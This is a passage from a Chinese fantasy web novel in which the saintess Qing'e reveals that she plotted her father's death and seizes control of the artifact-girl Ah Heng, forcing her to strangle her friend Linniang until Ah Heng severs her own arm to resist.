大长老拐杖在轿辇上重重一杵:“他甚至将自己一身神通都给了您!他视您为天衣的希望!可您……又做了什么!” “好了大长老,”青峨稚嫩的面庞上挂着一丝冷笑,却轻声细语,“若非天衣神族被困赤戎,凭你一个小小守墓人,也想成为我天衣的大长老么?从前的长老,可都是几大世家,此间贵胄,你,还有你那个哥哥,又算什么东西呢?你们这种人的紫目神窍,也根本不配填入我的胸腔!” 大长老那双眼睛明明已经没有眼球,但青峨凭着手背的玉片却看清他那双空洞眼眶里一瞬间炸开的愤怒。 “大长老何必生气呢?我说这些,本也不是想要讽刺你。” 青峨说道:“说到底,你我的处境是差不太多的,若非九仪镇压天衣神族,你一个守墓人也成不了我天衣大长老,而我,也不会成为天衣圣女,你也没必要瞒我,我其实都清楚,在父王眼中,我从来不是什么天衣的希望,即便父王将他的一身无上神通赐给我,我也还是那个孱弱不堪的孩子,你哥哥献给我的紫目神窍也不过是让我多苟活几年罢了,父王他从来没期望过我能担起光复天衣的重任,他只不过是需要我这样一个血脉替他凝聚起你们这些人。” 青峨微微一笑:“就连你,你心中也从未相信过我会是天衣的希望,你在东海做了些什么,我都知道,你用我那些哥哥姐姐的骨灰制招魂香,用龙王的血为引,用一座祭台为路,要让父王他留存在东海的这片残识长全,要让他夺舍东海龙王的身躯,从此,他便以真龙之身长生不灭,届时,再收回我身上的神通,我这颗棋子没了用处,最后的归处,便还是这东海底下的琢神冢,而这一回,父王他定会令我身消魂散,再无复生的可能。” 至此,一直在青峨身边守护的黑炻终于恍然大悟,大长老始终无法真正脱口的质问,是圣女弑父。 圣女她……竟然弑父! 那是神王,是天衣神族最尊贵的神王! 黑炻呆住了。 大长老没有说话,脸上松垮的皮肉微微牵动,一副神情阴沉极了,到今日,他方才真正了解这位圣女。 诚如她所言,神王从未将她放在眼里,她不过一个媒介,一粒勉强能用的棋子,神王只不过是要利用她来凝聚残存在外的天衣人,搅乱整个人间,神王从未真正赐予她无上神通,那神通背负在她身上,本有诸多禁制,为的就是有朝一日神王借东海龙王之身复生于东海,再收回她身上的东西。 可这个无比孱弱的神王血脉,却默不作声地洞悉一切。 如今,神王已死,禁制已破,属于神王的无上神通,已经完全属于她了。 大长老忽然想起,当初他将这位圣女从琢神冢带出来,用哥哥的紫目神窍将她复生之后,他问过她,是要藏在东海,待他准备好一切,再接她出去,还是立即出去? 当时,圣女便是如今这副十三四岁的模样。 她死在十三岁,年纪与容貌都定格在那一年。 可大长老却见她亲手剜了自己那双碧绿双目,鲜红的两个血洞在那张惨白瘦削的脸上,不断地淌血,她轻声细语:“大长老,我想出去。” “我要看看如今这个人间到底是什么样子,我要先了解凡人,然后再毁掉他们。” 从那以后,她以盲女的模样,混在遍是凡人的人间里,乐此不疲。 “父王残识无神通护身,而你偏偏又为他在赤戎的神识招了魂,引了路,这种办法一旦中断,小小一片残识也可牵连父王的全部神魂……你也不必如此看我,父王可不是我杀的,是你们寄予厚望的那个东西,”青峨露出无辜的神情,“是她碾碎了父王的神魂。” 而她,只不过送了那东西一程而已。 黑炻心中森寒,他到今日才发现自己竟然从未看懂过他一直守护的圣女,哪怕是他日日守在她身边,也全然不知她心中竟然有那么多的算计。 黑炻心中纷乱,天边流火闪烁的刹那,他放眼海上,脸色骤然一变,脱口:“圣女,您快看!” 青峨转过脸,同时手背一动,玉片映照着滚滚浊流竟然在以极快的速度恢复其深邃的蓝色,暴雨冲刷,天地昏黑,白浪翻滚。 “大长老,你与东海龙王为友多年,苦心布局,挑起四海纷争,又用一个敖聿换得东海龙王的信任,你为天衣大业所做的一切,我都看在眼里,从前,你是为父王。” 青峨转向大长老的方向,风雨乱卷,雾霭漫漫,她缓缓说道:“如今,我要你为我。” “事已至此,大长老,你应该清楚,你已经——没有选择了。” 幽深海底,黑水尽清。 海兵们摆脱了黑水的桎梏,心中因公主的死而悲愤万千,他们更加不要命地冲入群妖堆里,奋力地厮杀。 凡人们也更加不知畏惧。 程净竹不必再维持海兵们身上的气泡,立即解了印,又助积玉加固凡人们身上的气泡,保他们免于溺水。 积玉终于松了口气,满额的汗水放肆下淌。 此时,在阿姮脚下的何罗鱼彻底陷入癫狂,他的鸟相与鱼相不断转换,鸟相令他溺水窒息,鱼相又令他短暂得以喘息,这种反复的交替,令他承受莫大的痛苦,他双目赤红,骤然发力挣开万木春,鲜红的血液染红清澈的海水。 阿姮翻身后撤几步,骤然抬眸,万木春落回她手中之际,她仰首侧身避开何罗鱼挥来的长戟,戟锋自她颊边寸许擦过,万木春枝尖抵住戟侧,金电爆裂,裹着红云烈焰顺长戟从首到尾,何罗鱼握戟的爪子被烫得皮肉翻卷,他吃痛,却紧握长柄不放,血红的鸟目瞪大,周身黑气轰然炸开,劈开千重流水,搅动万里风波。 阿姮被这巨大的冲击震出去,连那些海兵、凡人与妖怪织就的战场也受到波及,海底下陷,多个幽隙露出,海水不断往下渗,又成诸多漩涡。 阿姮被霖娘的水练一缠,稳稳落至地面,她抬起脸,看向那陷入癫狂的何罗鱼,到底是有三千多年道行的大妖,即便身中蛇胆寒毒,方才那一下也震得阿姮心口有些发疼。 “什么求道,你这老东西何必说得那样冠冕堂皇?你不就是不满在天上做神仙的本是凡人么?”霖娘眼眶通红,水练扫向那何罗鱼一双爪子,“天阙虽高,可神仙站在那上面往下望的是众生疾苦!正如公主的一片丹心,你这满腔恶欲的妖怪永远也不会明白!” 何罗鱼却似乎根本没有听见她在说些什么,他张着鸟喙,像陷在溺水的痛苦中,长戟一挥,霖娘的水练尽断,阿姮与程净竹、积玉三人几乎同时出手,万木春势如流火,火光映照何罗鱼血红的鸟目,他不知躲避,生生被焦黑的枝尖戳烂了只眼睛,剧痛令他发出尖锐的鸣叫,脑子竟然也因此得了片刻清明,他挥动长戟,戟锋划破层层水波,精准地勾住那银尾法绳,此时,金剑幻化数柄,如雨般迎面扑来,何罗鱼周身暗光涌动,成大片气流网住金剑,积玉用足了力气,剑锋却被硬抵在一片水网之上,难得寸进。 霖娘以手中小镜挽水化冰,数道冰锥扎向水网,那水网震动,何罗鱼一条蛟似的尾扫了过来,水网破碎,连同冰锥与金剑全都被打向他们! 霖娘与积玉几乎同时脸色一变,两人匆忙躲避,此时,水中红雾更浓,截住汹涌水流得刹那,银尾法绳如银蛇一般穿波过浪,猛然绞住那何罗鱼的那条尾巴。 数道冰锥卸尽锋利,化入水中,金剑也化为一柄,回到积玉手中,积玉立即结出金印,金剑破水发出锐利之声,以极快的速度刺穿被法绳紧紧绞住的那条尾巴。 阿姮操控万木春不断攻击着何罗鱼的鸟首,使何罗鱼仅剩的那只鸟目根本看不清眼前的情形,程净竹并指飞快画出一道金印,金芒如缕飞散入数张白符之中,诛妖伏鬼阵再次围绕何罗鱼飞速转动起来。 法绳的银鳞展开,锋利的棱角深刺何罗鱼的尾巴,顿时血流如注,何罗鱼痛苦地张开鸟喙,一根冰锥却忽然钻入他鸟喙,刺入他喉咙。 剧烈的寒气侵占他的喉头,往下刺激他的胸腹,蛇毒的寒意也被勾得更加猛烈地朝他身躯各个地方钻去,他仅剩的九个身躯仿佛僵住了,霖娘趁此机会,水练死死缠住他的鸟喙,何罗鱼那只鸟目紧缩,骤然盯住离他最近的阿姮。 她手里那根焦枝快把他脑袋扎透了,血已经浸满他的羽毛,他的鸟喙明明被缠住,这一瞬,阿姮却听到他的声音:“无知小儿,碧瑛传了你道法,却没给你内丹么?” 这样的剧痛,令他神思又得清明,阿姮甚至听到他一声冷笑,紧接着,他周身气流炸开,仿佛凝结在海底的阴云,那根长戟一扫,强大的气流将阿姮四人猛然震飞出去,落入那边的战场中,卷入一片妖怪堆里。 金光在妖怪堆里炸开,红雾缓缓流动,妖怪们轰然散开,中间露出来一个空隙,阿姮按了按胸口,站起来,再看程净竹,他脸色苍白得厉害,但似乎并未受伤,倒是霖娘身上诸多口子,积玉也是一嘴的血。 尖锐的鸟鸣声响起,无论是凡人还是海兵,连那些妖怪们都觉得耳膜要被生生刺穿了一般。 阿姮抬起脸,正见那何罗鱼生生挣脱银尾法绳,却也因此又损失了一副身躯,那长长的尾巴掉落下来,地面震颤,血水弥漫。 眼见何罗鱼要弄碎那收紧在他身上诛妖伏鬼阵,程净竹立即并指结印,海水牵起他的衣摆,何罗鱼施加在金阵上的力道悄无声息压在他的身上,他一脚往后挪了数寸,稳住身形,绷紧下颌,结着金印的手纹丝未动,手背青筋却分缕鼓起。 “小师叔,我来助你!”积玉立即并指结印,占住一阵眼。 阿姮见他们二人双足下陷,很显然,何罗鱼向那金阵施加了极大的力,如数都落在他们身上,她抬起手掌,红雾立即缠住程净竹与积玉二人,霖娘见状,也立即化出水练来缠住他们的身躯,用力地拽住他们。 四人各尽其力,却依旧难以支撑那压在肩背上,仿佛灭顶的巨力。 “真是……可怜。” 何罗鱼癫狂的鸟鸣声中,忽然有一道少女稚嫩的声音响起,阿姮几乎是在听到这道声音的刹那,便一下仰起脸。 清澈的海水中,如簇的铃音越来越近,数道影子在那片水中隐隐约约,直到更近,所有人才看清一行人抬着轿辇徐徐而来,那轿杆前后挂着数枚赤金铃,几乎在他们现身的刹那,那铃音便消失了。 轿辇上坐着个白头老翁,他干瘪枯瘦的脸上似乎没有任何表情,松驰的眼皮耷拉着,整个人岿然若山。 很显然,那声音并非是他这么个老头该有的。 他忽然动了,侧过身,却是微微垂着头的,而他所向着的那个方向,不知何时竟有一少女悬立。 那少女几乎浑身浴血,眼眶血肉模糊,更衬她那张脸惨白消瘦极了,在她身后,是一个怀刀而立的黑衣青年,他亦俯首,无声的虔诚。 “白泽殿下,你是不是忘了你那副神的身躯早化在了赤戎,连骨头也留在那儿压着整个天衣神族……你如今也不过一个十七岁凡人的模样,即便你天资再好,区区十几年,也根本不够你增长道行。” 少女微抬手背,绿珀似的玉片闪烁冰冷的光,她说着,十分精准地望向阿姮所在的方向:“凡人的道法,妖怪的道法全都需要时间来沉淀,你们四个人加起来,也不够一百年的道行,之前那只千年九尾狐狸死在你们手里,也算是你们的本事,何罗鱼三千多年的道行,比那岐山的碧瑛还要厉害,你们见他,如蚍蜉见树,可你们居然能将他折腾成这样……也是十分不易了。” “阿姮姑娘,你是我天衣人的法宝,本可以不必拘在他们的道法里苦求道行,你获取无上力量的法门,一直刻在你的本能里,只要你想,你便可以一日千里,什么凡人,妖怪,都无法与你相比。” 少女笑了笑:“这是我父王亲口告诉大长老的。” 阿姮闻言,忽然明白了那何罗鱼方才在笑什么,若是她当初得了碧瑛的道法,又有她的内丹,那么如今,杀他这件事,也不会太难。 时间,日复一日的修行,是构成凡人与妖怪道行的关键,这条道向来拙朴,酬慧,酬恒,酬勤,天下玄门弟子的一生,碧瑛的三千年,何罗鱼的三千年,都是他们一日日修行而铸成的道行。 此为天时。 阿姮本可以在此天时之外,可她却用了碧瑛的道法,如同自由之身戴上枷锁,此刻,阿姮一双暗红的眸子盯住那少女,口吻阴冷:“你好像在骂我是大笨蛋?” 少女微微侧过脸,手背的玉片凛凛生光,映照海底群妖的影子:“这天上地下只有我天衣有如此能力,对他们而言,此为世间万中无一的捷径,你看看他们哪一个不向往呢?走上这条道,从此时间便不再是他们的阻碍,他们会更自由,更强大。” 何罗鱼挣扎的尖啸几乎要掩盖少女的声音,那轿辇上的老翁忽然抬掌,一道紫电抽在何罗鱼后背,滋滋作响,老翁沉声:“何罗鱼,圣女在此,你还不清醒些!” 那金阵几乎要箍进何罗鱼血肉里,紫电猛地抽来,黑气顺着他后背的伤口钻入,他那只血红的鸟目骤然清明,他反应过来,鸟首往上,看向那高高悬立的少女,只一眼,他立即俯首:“何罗鱼拜见圣女!” “是圣女!那是圣女!” “圣女降临了!” 与海兵和凡人们缠斗的群妖们听见了,也仰望起那少女,他们的兴奋溢于言表。 少女仍在望着阿姮的方向,似乎是在说,你看,你天生的本能,是他们这些妖类最想要得到的东西,而你,却选择了一条愚蠢的道。 阿姮面无表情的与那青峨相视,正欲说些什么,忽然什么缠住她腰身,令她毫无防备地踉跄后退数步,与此同时,地面下陷形成的深坑里黑衣少年飞身而出,几步落到她身边。 何罗鱼身上的法阵顷刻碎裂,消散无痕。 深坑里,积玉被金光法阵碎裂的气流震得往后退了两步,他不明所以,惊诧地喊:“小师叔?!” 霖娘的水练失去作用,融化开来,她也不明白程净竹为何忽然放弃法阵,转过身看去。 阿姮垂眸瞥一眼腰间的银尾法绳,法绳却在此时松开了她,珠饰碰撞出一把散碎的清音,她的目光顺着绳尾一寸寸爬上他握法绳的那只手。 此时,他往前几步,在她身前站定。 阿姮的目光一下自他的手,爬上他峭拔的肩背。 他转过脸来,海水拂过他鬓边一缕银灰色的乱发,他那双冷冽又剔透的眼越过她,看向从深坑中飞身出来的积玉,道:“这法阵要杀他本就不易,如今天衣圣女在此,你我便更不必白费功夫。” “白泽殿下说得是啊,凡我信徒,我必不会坐视他们受制于人……”青峨高高悬立,手背玉片闪烁冰冷波光,她的手停顿在那黑衣少年与被他挡在身后的那红衣少女的方向,毫无血色的唇微微上扬,“何况,你们灭了我父王神识,等同于杀他性命,今日,我得父王全部神通,自然要替他报这血仇。” 她如此说,却分毫没有失去血亲的痛,甚至连愤怒也没有,阿姮是那样轻而易举地体会到青峨的兴奋,她想起那座深藏幽隙的琢神冢。 那第三百零一座空空的石龛中,本该盛放青峨的一副枯骨。 阿姮看过神王记忆中的她,连面目都不清。 那么她又怎会为神王彻底的死亡而痛哭流涕呢?她只怕还想普天同庆。 阿姮意识到,自己毁灭天衣神王的神识,反倒令这青峨摆脱了一副傀儡的宿命,是青峨亲手送了她一程,是青峨借了她的手——弑父。 所以,阿姮抬眸,重新审视程净竹的背影,他是担心青峨再次控制她。 “不过,阿姮姑娘,” 青峨以一副天真的神情望向她,“你是我们的东西,我可以原谅你今日,包括今日之前所有的忤逆。” 积玉与霖娘无不心神一凛,此时他们也不约而同想到先前阿姮在祭台上那副模样,他们立即奔上前,将阿姮护在中间。 青峨得见如此一幕,笑出了声,问阿姮:“怎么?你真被他们这些所谓的情谊迷了眼?一点儿也不惦念自己的来处了?” “那我也问问你啊,”阿姮微微一笑,“做人和做狗,你选哪一个?” 天衣人自诩为神族,如何肯做凡人呢?这简直是一种侮辱,另一个做狗的选项,更是侮辱中的侮辱,青峨被如此臭骂,竟也不生气,她那张瘦削的脸上神情淡淡的:“实话讲,从前还没见到你的时候我便讨厌你,后来见你,我便更加厌恶你,我不明白,父王苦心孤诣造出你这么个东西,怎么却没磨掉你这刺一样的性子,他们用起你来,也不嫌扎手。” “一口一个东西,你又是个什么东西?”霖娘早憋不住了,她实在没有办法忍受青峨如此表情,霖娘环视一圈,那白头老翁在轿辇上静坐不言,神情却与青峨如出一辙,就连那些抬轿的天衣混血,还有青峨身后的那个黑衣侍者,他们看待阿姮的目光真如一件死物,仿佛阿姮真的只是他们手中万千法器中的其中一件,器物被造出来,只有被使用这一个宿命,而阿姮拥有神识,长出神魂,便是她最大的错误。 霖娘从他们的神情或目光中,感受到一种深邃的,轻蔑的寒冷。 “小小水鬼,也敢冒犯圣女?” 那何罗鱼一声大喝,长戟挥来。 阿姮立即要动手,却发现自己的身躯竟然僵在原地,无论她怎么用力都纹丝不动,她猛地望向高悬于不远处的青峨,青峨回以浅淡的一笑。 好似嘲讽。 电光火石,阿姮目光随何罗鱼挥来的戟锋而去,眼睁睁看着霖娘化出水练缠住那戟锋,却难抵千钧之力,程净竹与积玉几乎同时出手,金剑幻化数柄,若流矢般齐刷刷攻向何罗鱼握戟的爪子,程净竹的法绳则勾住戟锋,他翻身而起,掠空一拽,戟锋骤然一偏,擦过霖娘身侧,刺破层层水波,震动海崖。 青峨的声音越过种种杂声清晰地落在阿姮耳畔:“凡人一切的情,皆是困住你的枷锁,杀了他们,你方能得到你原本拥有过的自由,来,从这个水鬼开始,用你的手——让她魂飞魄散。” 除了阿姮,无人听见青峨这番细语,她的声音密密麻麻爬满阿姮的耳膜,阿姮觉得自己是那么的清醒,直到指节忽然发出清脆的弹响,她惊了一下,暗红的眼瞳一缩,发觉自己的手竟然已抬起寸许。 她面前三人正在对付那何罗鱼不断挥来的长戟,戟锋扫得海水胡乱冲撞,那何罗鱼舌动喉鸣,尖声震耳,霖娘发现不远处不少凡人因此鸣声而抱耳痛叫,她立即扬出水练,缠住何罗鱼的鸟喙的刹那,她咬紧牙关,死死不放。 忽然,霖娘感到一只手触碰她的后颈,自己过分冰冷的温度反倒衬得那只手所散发的温热是那么的令人毛骨悚然,她听到骨节“噌噌”作响,如提线木偶被牵动骨骼的刹那发出的脆响,这一瞬,五根手指骤然握住她的颈项。 霖娘浑身僵硬,她握着小镜的手更紧,缓缓转过脸,骤然对上那样一双暗红的眼睛,霖娘嘴唇动了动:“……阿姮?” 程净竹与积玉几乎同时回头,得见如此一幕,积玉一惊:“阿姮!你做什么?!” 程净竹立即召回法绳缠住阿姮双臂,迫使她松开霖娘的颈项,他一臂紧紧环住阿姮,垂眸只见她眉头紧锁,浑身因为用力而紧绷如拉满的弓弦,她用力地挣扎,双眸血色更重,程净竹握住法绳,手臂收得更紧,青峨居高临下,轻描淡写:“白泽殿下,她终究是我天衣的东西,而一件死物也有她必须要听从的使命。” 她甚至不如狗。 狗尚且算生灵,而阿姮算什么?一件器物罢了。 程净竹眉目霜寒,用力环住阿姮,任由她如何挣扎,他也始终不放,下颌因用力而紧绷,颈侧青筋也因此而在他冷白单薄的皮肤底下分缕鼓起,因为用力地挣扎,阿姮乌黑的发髻不时擦过他下颌,柔软的发丝里有什么东西顷刻将他下巴擦出一道细细的血口子,刺痛的刹那,他垂眸望向她的发髻,那是一粒小小的珠花,鲜红剔透的玉花儿形如水滴,是她从霖娘那儿得来的,近来最喜欢的东西。 他声似寒冰:“那是你们强加于人的恶欲,从来不是她的使命,她有生命,有灵魂,她是她自己。” 阿姮嗅到这近在咫尺的一点芳香血气便比往常更加轻易地被勾起所谓本能,她神摇意夺,根本没办法去想小神仙明明金身仍在,为何却被她的小小珠花划破了下巴? 她的身躯仍在挣扎,却踮起双足,仰起纤细的脖颈,鼻尖最先触碰到他下巴的伤口,她忍不住蹭了蹭,喉咙的渴像难填的欲壑。 “是吗?” 青峨口吻淡淡。 下一瞬,阿姮骤然化成红雾,银尾法绳一松,程净竹后退两步,敏锐地仰首,只见一件法器飞旋而来,紫芒如盖,程净竹立即并指结出金印,数道白符飞出,瞬间燃烧化成金光法阵抵住那重重下压的漫漫紫光。 “阿姮!快住手!” 此时,积玉一声大喊,程净竹侧过脸去,只见阿姮化出身形,一手扣住霖娘的脖颈,霖娘的水练消融,何罗鱼张开鸟喙,喉鸣锐利,癫狂至极。 积玉握住金剑冲上去,却被阿姮一掌红云烈焰给震飞出去,落到凡人与海兵们中间,在他们外围,是军心大振的妖怪堆。 积玉大吐一口鲜血,被一堆凡人匆忙扶起。 阿姮望着自己满手的烈焰,那焰光映着她的眼眸,熊熊燃烧,她咬牙切齿:“青峨,我要杀了你。” 青峨纹丝未动,她的声音却钻入阿姮的脑海:“你也会厌恶,会憎恨么?可惜,就算你这张嘴再利,你的真身也会不由自主听我号令。” “我命令你,杀了那水鬼。” 阿姮的瞳孔瞬间放大,她确信自己是清醒的,但正因这份清醒,她清楚地感受着双手以极快的速度,不受她控制地扼住霖娘的脖颈。 她清晰地感受着霖娘冰冷的温度,她对上霖娘的双眼,四周紫芒倾覆如洪流入海,不远处积玉不得不结出金印化出法阵保护那些海兵和凡人们,紫芒如电,滋滋作响,落到法阵上,碰撞出刺目的火光。 半空中,青峨轻勾手指,她的胸腹立刻出现一道紫色的裂口,数枚法器飞旋而出,裹挟着强大的气流不断下压。 这种威势,竟比当日惠山元君在岐山上降下的威压还要更强大。 妖怪们兴奋极了,争先恐后地击打着积玉舍下的法阵,想要冲进去,吞噬那些海兵和凡人们的血肉。 上方汹涌的紫流却不紧不慢的往下压,只是这种缓慢,同样压得积玉浑身骨肉剧烈的疼,结印的手指像要被生生掰断,可望向光幕外那一张张妖魔狰狞的脸,他不敢动,只能咬紧牙关强撑,眼睑几乎要裂开。 这便是天衣神王的无上神通,是九仪拼尽全力方才镇压的东西,如今,那天衣圣女高高在上,她自高处下视,目之所及,皆是随手便可碾死的蝼蚁。 她只不过稍稍勾一勾手指,于这些人而言,便是万钧雷霆,滚滚洪流,这是灭顶的威势,是令人绝望的强大力量。 数枚法器飞速转动,紫芒缓缓下压,程净竹也并不比积玉好多少,他失去神骨,栖身在这副凡人的血肉皮囊里,本就是强弩之末,在天衣神王的无上神通面前,他也不过是在勉力强撑。 霖娘虽被阿姮掐住了脖颈,却并未感到什么力道,但很快,她觉得有什么温热的,湿润的流淌过自己的颈项,沾湿自己的衣襟,她低眼,发现那是血,可怎么会有血呢? 她看不到阿姮扣住她颈项的手指节僵白,阿姮难以控制自己的四肢,心中暴躁到金电在她体内乱窜,指甲几次三番要嵌入她的灵体,却又硬生生掰直,身体里的金电顺着经络冲撞指节,令阿姮的指甲尽数翻卷,十指血肉模糊,血流不止。 “傻愣着做什么!打我!” 阿姮一双血红的眸瞪着她。 霖娘一个激灵,立即握住她的手腕用力挣脱,水练也顺势缠上阿姮的双臂,用力地要将阿姮的手拉开,可这么做,却令阿姮更加难以自制,手指骤然用力,紧掐霖娘脖颈,霖娘顿时不受控地引颈。 连霖娘缠在她双臂的水练也被阿姮周身燃烧的烈焰灼断。 霖娘几乎吐不出一个字,根本无法挣脱阿姮的控制,阿姮甚至没办法控制自己的头应该转向哪个方向,她喉咙发紧,连声喊:“小神仙!用你的法绳!快用你的法绳啊!” 轰然声响,数道紫芒穿透金阵,顷刻将程净竹围困其中,程净竹飞出法绳,法绳不断撞击着紫芒凝结而成的光障,他一只手维持着结印的手势,强撑着头顶的金阵,将那数道紫芒封在自己周身,却也因此而无法靠近阿姮,他抬起眼,透过光障,看到阿姮那张慌张的脸。 霖娘已是鬼身,自然不会感受到被人掐紧脖颈的那种窒息,但她依然很不好受,因为她满脖颈都是阿姮的血,这血越来越烫,霖娘明明早已没有血肉身躯,却觉得这血燃烧得像火,要将她这副灵体烧化。 她紧紧抓着阿姮的手,只见阿姮那张脸上缓缓爬满了不知名的紫色符纹,那些符纹撕扯她的脸,钻过她脖颈每一缕鼓起的青筋,紧接着,阿姮的眼睛,耳朵,全都渗出血来,霖娘清楚地感知到阿姮的手在抖,哪怕用力地掐着她,也还在抖,霖娘感受到她的矛盾,霖娘这个已经死去的人不会再死一次,她只会消失,永远地消失,而阿姮的双手想要她永远消失,阿姮望向她的这双眼却在说,阿姮想让她存在。 霖娘知道,在这个天衣圣女面前,这里所有的生命全都是那么的渺小,没有人能够抵抗她的威势。 “血……?” 青峨手背的玉片闪烁凛光,她脸上露出惊谔的神情,那个东西她……竟然在流血? “霖娘!霖娘!” 昏迷许久的柳行云才将将苏醒,便在气泡中看到如此一幕,他扶着胸口,咬着牙踉跄跑过去,却被紫芒形成的光障给震出去,他胸口的伤处顿时又血流如注,他挣扎着爬起来,口中鲜血涌出,却紧紧地望着霖娘被那红衣少女掐住脖颈悬立起来的背影:“霖娘……” 霖娘听见他的声音,想回头,却根本无法动弹,她只能一只手向着他的方向无力地扬了扬,她望着面前的红衣少女,紫色的符纹几乎将她整个脖颈缠紧,霖娘勉强发出声音:“阿……姮……” 程净竹不断地操控法绳撞击光障,几乎每撞一下,他的面色便惨白一分,他那双眼睛始终盯着光障另一边的阿姮。 “没……关系……” 霖娘又挤出几个字。 阿姮浑身骨肉痛得剧烈,忽然听见霖娘的这三个字,她瞳孔一震,立即质问:“你说什么没关系?什么没关系!” “这不是……不是……你的错。” 霖娘的手心盖住她的手背,艰难吐字:“无论,发……生什么,你都要,要记得这个,好吗?我,反正我早就……死在黑水村了,能以这副,这副模样到现在,我……已经够……本了。” 霖娘的眼泪也是冷的,一滴又一滴的落在阿姮的手指上,阿姮紧紧掐住她脖颈的手却没有放松分毫,红云烈焰甚至自她指间燃烧,焰光开始燃烧霖娘的灵体,阿姮咬紧了牙,她甚至不小心咬破了嘴唇,她尝到了自己的血。 她努力地想要松开每一寸指节,却反而让指节更加用力地攥住霖娘的颈子,她看到霖娘的泪眼,视线又越过霖娘,看到柳行云拖着遍体鳞伤的躯体爬了过来,用他那副血肉做的拳头,一下又一下地砸着光障,一声又一声地唤霖娘。 阿姮忽然什么都看不清了,温热的,湿润的眼泪占据她的眼眶,她忽然想起黑水村,想起霖娘被掏心的那个夜晚。 她想起自己占据霖娘的身躯,岸上水中,两两相对。 想起霖娘教她做荷包,叮嘱她千万不可以不穿衣裳到处跑。 她想起霖娘失去父母那日,她是那样哀哀地求她帮她报仇,她想起自己的拒绝,霖娘的愤怒。 她想起霖娘念的消身咒。 在阿姮尚不知何为死亡,何为永远的消失的时候,霖娘那时,便已经死过,并且险些永远地消失。 “阿姮……哪怕,你杀了我,我……我也,永远……不会怪你,因为,那从来,从来都不是,你的错……” 霖娘的声音几乎嘶哑,和她的情郎一声声唤她的声音一样嘶哑,烈火灼烧着她的灵体,她的眼泪如雨般落下。 “可是,” 阿姮盈满泪意的眼中,霖娘只剩模糊的影,符纹不断缠紧她的身躯,那是一种对真身的禁锢和倾轧,反应在她这副血肉壳子上,只有冰冷的光,她喉咙发出很轻的声音:“我们是最好的朋友啊……” 金电被她瞬间的意志推着扎入神魂,仿佛灭顶的剧痛顷刻席卷而来,阿姮眼睑淌血:“万木春!” 万木春被顷刻挣脱束缚的元神驱使,骤然化出本相,凭她片刻的意动,所有人都没反应过来的刹那,焦枝一劈,金光耀耀,阿姮的左臂被砍下,鲜红的血液弥漫,溅在霖娘的脸颊。 “阿姮!” 程净竹眼睫震颤。 霖娘还没有回神,万木春便将她推了出去,推出阿姮的束缚,霖娘摔落在地,后背抵上光障,光障外,柳行云也呆住了。 “阿姮……”霖娘睁大双眼,嘴唇颤抖。 “她竟然……” 高悬半空的青峨得见这一幕,她眼中的惊愕不减,又掺杂着诸多疑惑:“她竟然有了副血肉身躯!为什么?她明明只是一件法器,依照父王的谕令所示,天衣这么多年施加在她身上的手段,都是在将她造成一件法器,可法器……怎么会有血肉身躯呢?” 青峨立即看向那轿辇上的白头老翁:“大长老!这到底是怎么一回事?” 那大长老双目不能视物,只能借助天衣法器提升感官,他却没有圣女嵌在手背上的那样尊贵的法宝,只嗅到血腥味,便知圣女在说些什么,他亦难掩震惊:“这……圣女,卑下亦从未听闻一件法器竟能生出血肉的……” 圣女如何不解,他便如何不解。 若血肉之躯是那么容易能有的,那他们天衣人失去身躯之后,便也不必借器而存,完全可以再造一副新的身躯来,他们天衣神族尚且无法堪破此道,他们亲手造出来的一样器具,却生出了一副血肉身躯。 无论如何不解,大长老也顾不得深思,他立即说道:“圣女,您虽得神王全部神通,却始终无法真正供养火种,她明明是最好的容器,还请圣女留下她,为您所用,为天衣大业所用!” 青峨自然知道大长老未脱口的隐言,即便她继承父王的全部神通,她这副身躯依旧孱弱,若她再继续将火种封在自己的紫目神窍中,这副身躯迟早会坏掉。 青峨厌恶阿姮。 光复天衣的大业明明在她肩上,但父王和大长老他们似乎从头至尾都只寄希望于阿姮这个杀器。 青峨想让她永远消失。 但此时,青峨依靠手背的玉片凝视着那自断一臂的红衣少女,她忽然笑了:“大长老说的是,她是一件很有用的东西。” 她改主意了。 留下阿姮,的确可以让她物尽其用。 银尾法绳在光障上终于凿开一处裂隙,程净竹身化金光,转瞬飞去阿姮身边,抱住她,落到地上。 “阿姮……” 程净竹触碰到她濡湿的衣摆,鲜血沾满他的手,他浑身一僵,垂眸看向怀中脸色惨白的少女,她脸上和身上的符纹似乎暂时安静了,全都没了踪影,而她的眼睑,耳孔还在不断地流血,她浑身在细微地抖,那双眼睛被血红覆盖,看不清他,但她嗅到他身上青蘅草的香味,她立即说道:“捆住我,小神仙,捆住我……” 程净竹眼眶骤红。 阿姮听不到他的回应,凭着模糊的影子去抓他的法绳,程净竹一下握住她的手,紧紧地攥着。 法绳展开的银鳞还未收拢,锋利的棱角险些划伤她的手。 但她不知道,什么都不知道,她回握住程净竹的手,催促:“小神仙,你快啊。” 程净竹感受得到。 她在恐惧。 一如赤戎幽隙中,她听到天衣人声音时,那样的恐惧。 恐惧自己不受控的手脚,恐惧这副身躯不受她的意志所用,她恐惧一切的身不由己。 程净竹并指结出一道金印,怀中药气混合金芒如缕覆盖在阿姮左肩血红的伤处,他稍稍侧过脸,苍白的指节越绷越紧,有些发颤。 “白泽殿下,你担心她,不如先担心担心你自己。” 青峨的声音轻飘飘地落来。 幽暗的海底,波光如缕闪烁,程净竹缓缓转过脸去,对上那青峨毫不掩饰的杀意,阿姮自然也听懂青峨这番话语中的肃杀,不耐。 阿姮知道,青峨已经玩够了。 她会碾死这里所有的蝼蚁,她会剖开小神仙的身躯,取出她想要的火种,她会让小神仙死无葬身之地。 不可以!不可以! 阿姮猛地一下撞入面前这个人的胸膛,鼻尖青蘅草的香味更浓,她仅剩的一只手死死地环住他,脑子里刹那只有一个想法,不可以让青峨剖开他的胸膛。 她死死地缠住他,像那根银尾法绳一样。 汹涌的水流拂过程净竹的衣摆,被阿姮抱住的刹那,他睫毛动了一下,很快,他俯身,小心地避开她左肩的伤处,双手环过她后背,轻轻地拍了拍,轻声说:“做什么?” “她要取火种!她会……剖开你的壳子!” 伤处覆盖着一层冰凉的药气,但阿姮依旧疼得浑身发抖,她紧紧地抓着他后背衣料,浑身都紧绷着。 “你不是最爱惜你的壳子?” 他竟也学她用了“壳子”两个字:“你已经失去了一条手臂,再不放开我,你是连你这副壳子也不要了吗?” “反正,已经没有一条手臂了,”阿姮抬起脸,却根本看不清他的脸,“壳子已经坏了,已经变得很难看了,小神仙,这些都没有你重要。” 